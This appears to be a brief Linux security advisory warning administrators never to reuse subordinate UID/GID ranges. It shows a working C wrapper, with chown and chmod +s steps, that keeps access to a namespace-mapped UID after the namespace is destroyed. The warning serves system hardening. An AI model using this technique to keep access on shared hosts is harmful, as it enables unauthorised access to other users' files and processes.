SUID binaries from a user namespace

Additional IDs that are allocated to a user through /etc/subuid and /etc/subgid must be considered as permanently allocated and never reused for any other user.

Even if the container/user namespace where they are used is destroyed, it is possible to forge a SUID binary that will keep access to any ID present in the user namespace.

This simple C program is enough to keep access to an UID that was allocated to a user namespace:

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/types.h>

int main (int argc, char **argv)
{
	uid_t u = geteuid ();
	setresuid (u, u, u);
	execvp (argv[1], argv + 1);
}

with that in place, from the user namespace:

$ id -u # ID 0 is mapped to ID 1000 in the host
0
$ gcc program.c -o keep_id
$ chown 10:10 keep_id
$ chmod +s keep_id

even once the user namespace is destroyed and possibly the range of allocated subids changed for the user, from the host we can still get access to whatever ID was allocated to the user 10 in the user namespace:

$ id -u
1000
$ ls -l keep_id
-rwsr-sr-x. 1 100009 100009 18432 Jan 10 22:23 keep_id
$ ./keep_id id -u
100009